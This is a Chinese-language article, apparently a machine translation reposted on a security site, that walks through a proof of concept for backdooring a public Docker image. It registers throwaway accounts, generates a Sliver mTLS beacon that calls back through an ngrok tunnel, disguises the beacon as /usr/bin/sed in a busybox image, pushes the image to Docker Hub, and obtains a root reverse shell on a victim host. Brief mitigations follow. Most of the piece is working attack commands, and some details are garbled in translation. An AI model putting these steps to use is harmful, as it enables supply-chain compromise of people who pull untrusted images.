PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

admin 2024年10月10日11:42:52评论31 views字数 7049阅读23分29秒阅读模式

总结

在本文中,我将向您展示使用非官方 Docker 镜像的危险。攻击者可能会上传包含恶意应用程序或后门的“脏容器”,以便稍后访问该容器。

免責聲明

本文仅供参考和教育目的,适合那些愿意并好奇地了解和学习安全和渗透测试的人。不得将内容用于非法目的。如果您准备好学习新事物,请继续阅读。上传自己的 Docker 镜像时,请确保您的操作符合 Docker 服务服务条款 (https://www.docker.com/legal/docker-terms-service)。

现代部署使用某种 CI/CD 管道。CI/CD 管道非常有用,但它们也存在下载恶意或 “脏容器” 的风险。“脏容器”是故意创建的易受攻击的容器,没有任何明确警告。

2022 年,网络安全公司 Sysdig 对 Docker Hub 中的恶意镜像进行了调查。调查显示,在分析的 250,000 张图像中,有 1,652 张图像被归类为恶意 (https://sysdig.com/blog/analysis-of-supply-chain-attacks-through-public-docker-images)。

为什么这很危险?
攻击者可以有针对性地放置一个“脏容器”,并将其用作进入目标网络的“垫脚石”。此外,这些容器可能包含加密挖矿程序。

在接下来的部分中,我将向您展示攻击者如何创建所谓的 “脏容器” 并将其上传到公共容器存储库 (Docker Hub)。一旦受害者下载了该容器,它就会以静默方式与攻击者建立基于 mTLS 信标的(反向 shell)连接。受害者可以以 Docker 容器或 Kubernetes pod 的形式下载此容器。

我们的测试设置由以下软件组件组成:

  • 码头工人;上传和下载“脏容器”

  • 银;Sliver 是一个红队运营框架

  • 恩格罗克;创建从 “脏容器” 到攻击者计算机的隧道

  • 可选:Kubernetes;将 'dirty container' 下载为 Pod

POC 由 2 台计算机组成:一台用于创建脏容器的攻击者计算机 (Kali Linux, 192.168.62.161)) 和一台运行 Docker (Ubuntu, 192.168.62.177) 的受害计算机。

首先,我们必须准备我们的系统:

  • 在 Docker Hub 上创建帐户 (https://hub.docker.com/)

  • 在 Ngrok (https://ngrok.com/ 创建一个帐户)

  • 安装 Docker

  • 安装 ngrok 客户端

  • 安装 Sliver 框架 (https://bishopfox.com/tools/sliver)

当我们准备好系统后,我们将继续我们的 PoC。

  1. 在攻击者计算机 Kali Linux 上执行

获取临时电子邮件地址以注册 Docker Hub。您可以获得一个 10 分钟的邮箱,其中包含 https://www.minuteinbox.com/

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

2. 在攻击者机器 Kali Linux 上执行

使用临时电子邮件地址注册 Docker Hub。导航到 https://hub.docker.com/signup

提供以下信息:

姓名:<您的真实姓名或假姓名>

电子邮件:[email protected](见 minuteinbox.com)

密码:<YourPassword>

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

对于此方案,我们将使用工具 ngrok (https://ngrok.com/)。Ngrok 用于在 ngrok 云服务器和 Kali Linux 攻击者的系统之间设置 VPN 隧道。来自 Linux 目标系统的出站流量将通过 ngrok VPN 隧道路由,最后路由到 Kali 系统。因此,请务必提前征得许可,这(ngrok 用法)是否属于 “参与规则” 。仅当目标 VM 具有出站 Internet 访问权限时,此方案才有效。

3. 在攻击者机器 Kali Linux 上执行

安装 ngrok.打开 Bash 终端并执行下面代码框中的命令。

cd /tmp
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
sudo tar xvzf /tmp/ngrok-v3-stable-linux-amd64.tgz

sudo chown -R root:root /tmp/ngrok
sudo mv /tmp/ngrok /usr/local/bin
ngrok version

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

4. 在攻击者机器 Kali Linux 上执行

向 ngrok 注册一个帐户 (API 访问)。对于注册,您可以使用临时电子邮件地址(请参阅步骤 1)

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

5. 在攻击者机器 Kali Linux 上执行

在 https://dashboard.ngrok.com/get-started/setup 中,复制并粘贴 ngrok API 令牌。

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

6. 在攻击者机器 Kali Linux 上执行

安装 ngrok API 密钥。

ngrok config add-authtoken 2OVFgvlBTGDipmNkHbGpI<redacted>

我们将使用Sliver作为攻击C&C服务器。Sliver (Go-lang) 是 BishopFox (https://github.com/BishopFox/sliver/wiki/Getting-Started) 的产品。Sliver 的优势(相对于 MetaSploit)是能够使用信标代替持久会话。

7. 在攻击者机器 Kali Linux 上执行

安装 sliver-server。在此 PoC 中,我们将使用 1.5.39 版本。检查 https://github.com/BishopFox/sliver/releases 以获取最新版本。

# install mingw-64 dependancies
sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64

# install sliver server 1.5.39 in /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.5.39/sliver-server_linux -O /tmp/sliver-server_linux

cd /tmp
chmod +x sliver-server_linux
./sliver-server_linux

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

8. 在攻击者机器 Kali Linux 上执行

现在,安装 Docker 社区版(参见 https://www.kali.org/docs/containers/installing-docker-on-kali/)

# add docker repro
printf '%sn' "deb https://download.docker.com/linux/debian bullseye stable" | sudo tee /etc/apt/sources.list.d/docker-ce.list

# add key for docker repro
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker-ce-archive-keyring.gpg

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

# install docker
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

# Start the Docker engine service.
sudo service docker start
sudo service docker status

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

运行此 PoC 所需的所有组件都已安装。

9. 在攻击者机器 Kali Linux 上执行

打开一个新的终端选项卡并重命名为 “NGROK”。设置映射到本地端口 9999 的 ngrok 隧道。

# Start the ngrok TCP tunnel to be used with sliver-server
ngrok tcp 9999

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

tcp://4.tcp.eu.ngrok.io:10747 映射到 localhost:9999

记下 ngrok 隧道地址 (tcp://4.tcp.eu.ngrok.io:10747)。

10. 在攻击者机器 Kali Linux > Sliver 控制台上执行

打开一个新的终端选项卡并启动 Sliver-server(请参阅步骤 4)。设置 sliver mTLS 侦听器。

# start sliver server
cd /tmp
./sliver-server_linux

# Sliver console: Start a mtls listener on port 9999.
mtls -l 999

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

11. 在攻击者机器 Kali Linux > Sliver 控制台上执行

生成 Linux mTLS 植入程序 ( /tmp/sliver_mtls_linux-beacon)。注意 使用步骤 9 中的 ngrok 隧道地址 (IP 和端口) 。

# Generate a Linux mtls beacon client. Note the address must correspond with ngrok tunnel address
generate beacon -m 4.tcp.eu.ngrok.io:10747 -e -o Linux -s /tmp/sliver_mtls_linux-beacon

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

12. 在攻击者机器 Kali Linux 上执行

您可以测试生成的植入是否连接到 sliver 服务器侦听器。

# test the payload
/tmp/sliver_mtls_linux-beacon

检查 sliver 控制台是否有传入连接。

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

Beacon 99c58eda 出现。我们有一个反向 shell 连接。

13. 在攻击者机器上执行,Kali Linux > sliver 控制台

断开 Beacon 连接。注意:您的连接 ID 可能与步骤 12 中显示的 ID 不同。

use 99c58ed5
kill

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

在步骤 12 和 13 中,我们验证了我们有一个可以与恶意 Docker 镜像一起使用的工作植入物。

14. 在攻击者机器 Kali Linux 上执行

在下一步中,我们将有效负载复制到目录 /tmp/container,并将其重命名为“sed”(Linux 上的 Steam 编辑器)。

# copy the payload to a directory /tmp/container and rename it to 'sed'

cd /tmp
mkdir container

source=/tmp/sliver_mtls_linux-beacon
cp $source /tmp/container/
mv /tmp/container/$(echo $source | cut -d "/" -f 3) /tmp/container/sed

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

15. 在攻击者机器 Kali Linux 上执行

现在我们可以创建 Dockerfile 来为恶意 Docker 镜像提供说明。

我们将使用轻量级的 'busybox' 镜像,并将我们的恶意文件 (/tmp/container/sed) 复制到 /usr/bin/sed。这个文件实际上是启动反向 shell 连接到攻击者的 C&C 服务器的银色植入物。

cat << EOF > /tmp/container/Dockerfile

FROM busybox
COPY sed /usr/bin/sed
CMD ["/usr/bin/sed"]
EOF

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

/tmp/container/Dockerfile

16. 在攻击者机器 Kali Linux 上执行

是时候构建我们的恶意 Docker 镜像了。使用您的 Docker 账户名称标记映像(请参阅步骤 2)。

选项 ' — network=host' 非常危险。这将在容器和主机网络之间创建一个桥梁。容器与其主机共享相同的 IP 地址,并且能够访问本地网络中的所有计算机。

# Build the sliver injected container in local Docker repository (based on Dockerfile)
cd /tmp/container/

DockerUser=nolwhitehat
docker build --network=host -t $DockerUser/busybox .

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

检查您的本地映像注册表。

docker image ls

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

17. 在攻击者机器 Kali Linux 上执行

现在,运行带后门程序的 Docker 容器,并检查它是否会导致反向 shell 连接。

# run the docker container (local repository)
DockerUser=nolwhitehat
docker run --rm --network=host -it -d $DockerUser/busybox

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

检查 sliver 控制台是否有传入连接。

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

信标 09ebc415 出现。通过运行 Docker 容器,我们有一个反向 shell 连接!

断开信标连接(请参阅步骤 13 了解预期输出)。

use 09ebc415
kill

在步骤 14、15、16 和 17 中,我们验证了我们有一个有效的恶意 Docker 镜像。我们可以将此恶意镜像上传到 Docker Hub。

上传此 Docker 映像时,请确保您的操作符合 Docker 服务服务条款 (https://www.docker.com/legal/docker-terms-service)。这意味着您必须描述图像的意图和该图像的内容。

18. 在攻击者机器 Kali Linux 上执行

将本地镜像推送到 Docker Hub。

# login Docker Hun
DockerUser=nolwhitehat
docker login -u $DockerUser

# Push the image to the repository.
docker push $DockerUser/busybox

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

19. 在攻击者机器 Kali Linux 上执行

描述图像的意图。

  • 打开 Web 浏览器并导航到 https://hub.docker.com

  • 使用 Docker Hub 帐户登录(请参阅步骤 2)

  • 向图像添加描述和概述

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

https://hub.docker.com/r/nolwhitehat/busybox

20. 在受害者机器 Ubuntu 上执行

是时候像受害者一样下载上传的恶意图像了。两个 Docker 运行时选项是危险的:

  • — netwerk=host > 这将把容器与主机网络连接起来。

  • — pid=host >这将允许容器访问主机进程。

# run the docker container (Docker Hub repository)
DockerUser=nolwhitehat
docker run --rm --network=host --pid=host -it -d $DockerUser/busybox

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

21. 在攻击者机器 Kali Linux 上执行

检查 sliver 控制台是否有传入连接。

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

信标 bb7d7a9c 出现。通过从 Docker Hub 运行 Docker 容器,我们有一个反向 shell 连接!

在 Sliver 控制台中,与容器交互

use bb7d7a9c<tab key>

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

现在我们访问了目标容器。我们可以启动攻击者利用后选项。例如,枚举已登录的用户和网络配置。

在 Sliver 控制台中,执行一些命令:

whoami
ifconfig

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

对直接桥接到 LAN 的容器的 root 访问权限。

从这一点开始,攻击者可以继续进行他的后利用。

缓解措施

1. 仅下载官方镜像
属于 Docker 官方镜像的镜像在 Docker Hub 上有一个特殊徽章,使您更容易识别属于官方 Docker 镜像 (https://docs.docker.com/docker-hub/official_images/) 的项目。

2. 使用容器漏洞扫描程序
在将特定容器部署到生产环境之前,请先将其下载到隔离的系统上并扫描其漏洞。您可以在 GeekFlare (https://geekflare.com/container-security-scanners/) 上找到容器扫描程序的列表。

引用

https://www.sans.org/cyber-security-courses/cloud-penetration-testing/
https://hub.docker.com/
https://ngrok.com
https://bishopfox.com/tools/sliver
https://sysdig.com/blog/analysis-of-supply-chain-attacks-through-public-docker-images
https://medium.com/@mayankshah1607/docker-security-backdooring-images-with-dockerscan-ace5ff65bd39
https://tbhaxor.com/hunting-malicious-binaries-in-containers/

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

其它课程

QT开发底层原理与安全逆向视频教程(2024最新)

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

linux恶意软件开发对抗与基于ebpf网络安全视频教程(2024最新)

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

linux高级usb安全开发与源码分析视频教程

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

linux程序设计与安全开发

PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • windows恶意软件开发与对抗视频教程

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • windows

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • windows()

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • USB()

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • ()

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • ios

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • windbg

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • ()

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

  • PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

原文始发于微信公众号(安全狗的自我修养):PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日11:42:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PoC 后门 Docker 镜像:揭示使用未经验证的镜像的危险https://cn-sec.com/archives/3247838.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息